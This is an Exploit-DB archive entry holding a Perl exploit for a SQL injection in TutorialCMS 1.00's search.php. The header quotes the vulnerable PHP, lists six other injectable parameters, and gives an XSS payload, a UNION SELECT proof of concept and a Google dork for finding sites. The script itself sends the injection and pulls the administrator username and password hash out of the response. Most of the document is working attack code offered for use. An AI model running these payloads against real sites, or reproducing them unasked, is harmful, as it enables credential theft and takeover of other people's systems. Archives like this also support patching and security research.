Exploit-DB #3887
Description: TutorialCMS 1.00 - 'search.php?search' SQL Injection
Type: webapps
Platform: php
Date: 2007-05-09
Author: Silentz

Exploit:
#!/usr/bin/perl -w

#################################################################################
#										#
#		     TutorialCMS <= 1.00 SQL Injection Exploit			#
#										#
# Discovered by: Silentz							#
# Payload: Admin Username & Hash Retrieval					#
# Website: http://www.w4ck1ng.com						#
# 										#
# Vulnerable Code (search.php):							#
#										#
#      $search = $_REQUEST['search'];						#
#      $sql    = "SELECT * FROM tutorials WHERE title LIKE '%$search%' 		#
#		  ORDER BY hits DESC LIMIT $startID , $perPage"; 		#
#										#
# Manual SQL Injection:								#
#      										#
#      	browseCat.php?catFile=[SQL QUERY]					#
#	browseSubCat.php?catFile=[SQL QUERY]					#
#	openTutorial.php?id=[SQL QUERY]						#
#	search.php?search=[SQL QUERY]						#
#	topFrame.php?id=[SQL QUERY]						#
#	admin/editListing.php?id=[SQL QUERY]					#
#										#
# NOTE: All above parameters are vulnerable to XSS, so try:			#
#										#
#	search.php?search="><script>alert('http://www.w4ck1ng.com')</script>	#		
#										#
# PoC: http://victim.com/search.php?search=' UNION SELECT 0,0,0,0,username,	#
#      password,0,0,0,0,0,0,0 FROM users WHERE id='1' /*			#
# 										#
# Subject To: magic_quotes_gpc set to off					#
# GoogleDork: "Powered By Photoshop Tutorials" (0 Results)			#
#										#
# Shoutz: The entire w4ck1ng community						# 
#										#
#################################################################################

use LWP::UserAgent;
if (@ARGV < 1){
print "-------------------------------------------------------------------------\r\n";
print "                 TutorialCMS <= 1.00 SQL Injection Exploit\r\n";
print "-------------------------------------------------------------------------\r\n";
print "Usage: w4ck1ng_tutorialcms.pl [PATH]\r\n\r\n";
print "[PATH] = Path where TutorialCMS is located\r\n\r\n";
print "e.g. w4ck1ng_tutorialcms.pl http://victim.com/tutorialcms/\r\n";
print "-------------------------------------------------------------------------\r\n";
print "            		 http://www.w4ck1ng.com\r\n";
print "            		        ...Silentz\r\n";
print "-------------------------------------------------------------------------\r\n";
exit();
}

$useragent = LWP::UserAgent->new() or die "Could not initialize browser\n";
$useragent->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');

$sql = $ARGV[0] . "search.php?search=' UNION SELECT 0,0,0,0,username,password,0,0,password,0,password,0,0 FROM users WHERE id='1' /*";
$result = $useragent->request(HTTP::Request->new(GET=>$sql));

if($result->content =~ /"><b><u>([0-9a-zA-Z]+)<\/u>/){
print "-------------------------------------------------------------------------\r\n";
print "                 TutorialCMS <= 1.00 SQL Injection Exploit\r\n";
print "-------------------------------------------------------------------------\r\n";
print "[+] Admin User : $1\n";
}

else {print "\n[-] Unable to retrieve admin username..."}

if($result->content =~ /([0-9a-fA-F]{32})/){
print "[+] Admin Hash : $1\n";
print "-------------------------------------------------------------------------\r\n";
print "            		 http://www.w4ck1ng.com\r\n";
print "            		        ...Silentz\r\n";
print "-------------------------------------------------------------------------\r\n";
}

else {print "\n[-] Unable to retrieve admin hash...\n";}

# milw0rm.com [2007-05-09]